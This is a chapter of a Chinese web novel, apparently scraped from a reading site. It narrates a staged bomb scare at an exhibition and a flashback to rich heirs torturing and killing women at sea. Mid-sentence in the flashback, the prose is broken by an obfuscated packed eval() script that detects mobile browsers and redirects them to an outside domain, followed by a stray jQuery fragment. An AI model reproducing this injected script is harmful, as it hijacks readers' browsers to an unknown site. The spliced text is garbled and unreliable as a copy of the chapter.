15.Chapter 15

作品:《穿回老妈卧底贵族学院那一年

    “不用找了,我只是一粒微不足道的尘埃。”粗哑的电子音在耳机里响起。声线被刻意改变,戏谑的语调却无法更改。


    ……对方就在这里。


    祝飞雁眉心拧得更紧了,单膝压住许紫衫,一手握着耳机,望向展厅外。


    越过一圈围观的观展人,只见路边也堵了不少人,正纷纷探头往里面看,保安护着姗姗来迟的经理终于赶到,人头窜动,场面混乱。


    每一个人的表情都是一样惊慌好奇,任由看穿了也找不出嫌疑人。但就在保安冲上来帮忙时,人群中一个瘦削的兜帽青年突然高举手,直接将手里一个足小臂长的盒子朝展厅抛进来。


    哐当!盒子坠地,翻滚两圈停住。


    突如其来的东西吸引了所有人的视线,有人仓皇地问:“那是什么!”


    与此同时,耳机里的电子音再度响起:“祝你好运。”


    滴、滴、滴——


    嘈杂人声中夹杂着清晰的倒计时声,祝飞雁曾经当过一段时间的狙击手,耳尖目明是基本要求,几乎是立刻察觉到危险,连忙冲保安咆哮:“有炸弹!快点离开这里!!”


    众人顿时陷入了更加疯狂的混乱,四散奔逃。


    她再也顾不上许紫衫,立马松手,刚想起身拉祝安宁走,然而许紫衫似乎就是在等这一刻,猛地翻身狠狠一口咬在她手背上。


    “你活该!”近乎疯魔的许紫衫双眼猩红,宛如在看一个十恶不赦的王八蛋。


    鲜血顺着手臂滑下,祝飞雁面不改色,冷静地回头命令怀慈将祝安宁带走,同时反拽住许紫衫的手臂往后拖,那平静模样仿佛那一口只是咬在了棉花上。


    许紫衫本身就是要逃的,挣扎十分剧烈,一边痛骂:“混蛋!你放开我!”


    祝飞雁一言不发,趁乱把一直藏在兜里的定位器塞进了她衣兜,下一秒直接松手。


    砰!许紫衫因为惯性摔回地面,却完全没发现她的小动作,一获得自由,几乎是毫不犹豫跑向大门口。


    祝飞雁也立刻转身狂奔,顺手一把拽起蒙圈的顾逢秋,推着他往安全的地方跑。


    没两步就追上了怀慈和祝安宁,只见祝安宁腿似乎软了,像只鹌鹑连滚带爬地在跑。


    来不及骂人,她眼疾手快捞起祝安宁往肩上一扛,并冲前方找地躲的工作人员大喝:“快把仓库的门打开!”


    瞬间腾空的祝安宁吓得失声尖叫,只感觉一只强健有力的手臂禁锢在腰间,力道极大。


    等回过神,就见祝飞雁已经左手牵起怀慈,一路朝仓库狂奔的同时,干脆利落一脚踹上顾逢秋的屁股:“蠢猪吗你,逃命都不知道跑快点?小脑发育不完全就算了,长两条腿走路都打颤是吗?”


    那一脚估计没收力,顾逢秋整具身体被踹成了C型,直接飞扑出去,裤子上瞬间出现一个清晰的脚印。但生死之际,他敢怒不敢言,只能捂着屁股爬起来,骂骂咧咧往前跑。从接连蹦出来的脏话来看,显然气急败坏了。


    也就是这一瞬间,在自家老妈宽阔肩上颠簸的祝安宁莫名有种错觉——祝飞雁这哪是来卧底的,分明就是来“关爱”一帮不省心的孩子的嘛!


    在工作人员提前打开门的情况下,四人几乎是陆续冲进仓库,堆放杂物的仓库里已经挤了不少人,都缩在角落哆嗦着。


    砰!门重重关上。


    祝飞雁总算是松了口气,先把祝安宁放下,紧接着回头就朝顾逢秋脸上狠狠打了一拳。


    众人一惊,大气不敢出。


    闭塞狭小的仓库里灯光闪烁,气氛一时间仿佛凝滞了。


    祝飞雁这一拳砸下去,即使刻意收力,体重两百斤的壮汉都得晕上几秒,更何况顾逢秋这个中看不中用的家伙,他瞬间连连后退,直到跌靠到一幅画上才回神。


    血腥味骤然充斥鼻腔,他伸手摸去,指尖赫然一片血色,下一秒他猛地抬头看向祝飞雁:“你打我?!”


    “打的就是你。”祝飞雁面无表情拉伸五指,心想就一拳还没打爽呢。等线索收集得差不多,这崽种没被打到骨裂都对不起她的退役!


    不过现在最重要的是许紫衫。


    短短几分钟内实在是发生了太多事,无论是泼汽油还是抛炸弹,简直让人毛骨悚然。许紫衫袭击,兜帽男帮忙逃脱,耳机里的人应该是指挥者,听起来很装的样子,所以这根本就是一次有预谋且针对性极强的犯罪!


    似乎是……有人在帮她报仇?


    目前没有证据,祝飞雁不敢乱下定论,但计划接连被打断,心里一股火已经蹭蹭蹭上来,她感觉自打祝安宁出现,事情都乱套了!


    眼下压根不想再忍,她径直走到顾逢秋面前,居高临下地俯视他:“看起来对方是冲你来的,如果不是你今天过来,这里所有人都不会落到这么危险的处境。”


    顾逢秋脸色微变,下意识看向周围的人,表情各异,却不约而同有种责怪的意思。


    尤其是祝安宁,只见她撇过脸,仿佛看见了什么脏东西,一幅嫌弃模样。


    “……”许久他揉着酸痛的下颌起身,与祝飞雁对视:“首先我不认识那个疯女人。其次,就算你救了我,但你踹了两脚打了我一拳,早晚有一天我会让你还回来。”


    祝飞雁冷笑一声,直接把脸凑过去,言简意赅:“来。”


    众目睽睽下,顾逢秋盯着这张陡然靠近的面孔,侧脸线条流畅锋利,额间薄汗密布,气质如此张扬,就像性格一样捉摸不定。


    他脸色变了又变,到底什么都没有做,只冷声道:“今天的事我会负责任,尽快让我家人找出始作俑者,将她绳之以法。”


    “负责?”祝飞雁缓缓直起身,注视着顾逢秋故作镇定的面孔,内心冷笑连连。


    不愧是顶尖教育教养出来的继承人,即便一路失态,还是官话一套一套,讲出来都不嫌丢人!


    实际上没人知道祝飞雁此刻有多窝火,她能从仅有的线索中中推测出许紫衫为秦麦发声而付出的惨痛代价,一朝家破人亡,以至于选择玉石俱焚的方式复仇。


    结果到了顾逢秋嘴里只剩下疯女人三个字,可满心怨恨的人怎么可能认错仇人呢?即使与顾逢秋本人毫无干系,却绝对也与顾家息息相关。


    既得利益者,没资格评判他人。


    但她不能说,也不能展现出任何一丝于心不忍,或者表露出对许紫衫的欣赏,甚至还要强忍着怒火继续扮演他善良英勇的同学。


    “顾逢秋。”祝飞雁强行按耐住火气,一字一顿地说:“一旦今天这把火烧起来,你真的负得起这个责任吗?”


    仓库里亮着昏黄的灯,她个子高,整张脸几乎隐没在暗色里,晦暗不明。


    顾逢秋需要眯眼才能看清她的表情,只见她压迫感极强的视线冰冷地垂下来,意有所指地说:“我进恩德就听说了你家很有钱。这么多人命估计用钱抹不平,说不定到时候你顾家就学电影里,随便推一个人出来顶罪,然后你继续做你的太子爷,高枕无忧。反正只要有钱,总归有无数人前仆后继帮你善后。”


    这话讲得不明不白,虽然外人听来显然是气头上的嘲讽,但到顾逢秋耳朵里就完全不一样了。


    他心头莫名一跳,眼前骤然闪过一张苍白的倔强面孔,与祝飞雁冷硬的面孔重叠。


    ……


    摇摇晃晃的游船上,海浪掀起咸腥味,被折磨得不像人样的女人像烂泥一样躺在血泊里,呼吸微浅。


    顾逢秋靠在甲板栏杆上,懒洋洋点根烟:“赶紧拉去岛上就行了,怀慈今天生日,我急着回去。”


    旁边的明流轻轻笑起来:“急什么,老师硬气得很,再玩会。”


    啪嗒——舱门打开,方之


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515830|169758||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    熙揽着热裤辣妹出来,旁若无人地坐下:“还没结束?”


    缩在角落的十几个女人浑身湿透了,惊恐地抱着取暖,有个姑娘反复问着为什么。


    舒适的摇椅上,孟书礼合上那本佛经,双腿优雅地交叠,温润平和地说:“当然是因为我们可以这样做。停止你们的抱怨,这世界的规则是像我们这样的人制定的,你们要做的就是接受自己的命运。”


    海风拂过血泉,趴在血上的人忽然缓缓坐了起来,挺着脊梁,掷地有声地说:“你们只是一帮有人纵容的恶鬼罢了。我发现你们不止是觉得霸凌有趣,而是纯粹把人命当草芥,并且你们觉得自己有钱有权,总会有人帮你们收尾。那我告诉你们,也许这世界的阶级构成永远一成不变,但像我这样的人大有人在。我能救一个被你们霸凌的人就可以救更多人,虽然今天我和她们都栽在这里了,可还是有人逃出去了,她们一定会从这片宽阔的海域游出去,然后自由地高飞!总有一天,她们会像捕猎的母狮群一样,将你们从高贵的椅子上扯下来撕碎!”


    ……


    顾逢秋脸色一白,不知是不是抓走莫子健的女人提起了瞿柔,所以昨晚做了一夜噩梦,以至于此刻听见相似的话居然也不受控制地回想起了那一天。


    正当他在思考该如何反驳祝飞雁时,只见她忽然俯下身来,变脸飞快,先是伸手戳了戳他脸颊,随即认真地问:“不是吧不是吧,我就开个玩笑,怎么脸白成这样,不会真以为我在怪你吧?说实话天有不测风云,人生意外本来就很多,而且你也是受害者,没真怪你。”


    紧接着,她看向旁边的怀慈,挠挠头道:“学姐,难道我话说太重了?还是他一直这么傻?明明刚才还伶牙俐齿的。”


    “……”怀慈沉默两秒,随即认真点头:“也许吧,他脑回路的确和正常人不一样。”


    旁边的祝安宁:“…………”


    首先她要表扬老妈堪比奥斯卡影后的绝杀演技,其次她要褒奖老妈神乎其技的变脸能力,天杀的,刚才那一瞬祝飞雁脸色冷得就跟暴风雪来袭一样,差点以为她要当场挑明然后干脆摁死顾逢秋呢!


    紧张的气氛被瞬间瓦解,春风拂过一般,仓库里的所有人心顿时落地。


    包括顾逢秋。


    这时,祝飞雁直起身,伸出那只被咬得鲜血淋漓的手拍了拍他的肩膀:“行了,辛辛苦苦把你救下来,可别吓成呆子了。”


    顾逢秋顿时皱起眉,这货嘴巴一直这么贱吗?他瞥向肩上的手,上面的咬痕触目惊心,但还没来得及说话,外面突然响起一声剧烈的爆炸声。


    随即急促的杂乱脚步声响起,应该是警察和火警来了,有人在喊:“队长!不是炸弹!是个装有弹射玩具的小丑!!里面还有一张打印出来的A4纸!”


    伴随混乱的声音,一道粗重的男声传进仓库:“安保工作做成这样,你们是怎么回事?小顾总呢?要是他蹭破一点皮,我让你们直接倒闭!!”


    所有人都听见了这无比嚣张的话。


    祝飞雁早就平复好心情,看向顾逢秋,挑眉戏谑:“哟,还真是太子爷啊。”


    ——这不是应该的吗?


    顾逢秋潜意识这样想,与此同时,孟书礼冷静又极具蛊惑力的声音,穿过回忆缓慢地递到了他的耳边:


    “弱肉强食是自然界的规律,她们本就该死。就算今天的事曝光,我们也永远不会出事,因为只要给钱,就有无数蠢蛋自愿顶罪。这是我们与生俱来的优越资本。”


    孟书礼说过,他们就是天生站在金字塔顶端的人,理应得到一切优待。


    就像那天茫茫无际的海域上,他们在无数双眼睛的热烈拥簇下获得了杀人特权,迈出继承之路的第一步,而所有证据都有人迅速打扫干净,然后——


    沉到无尽的深海里,再无从追究。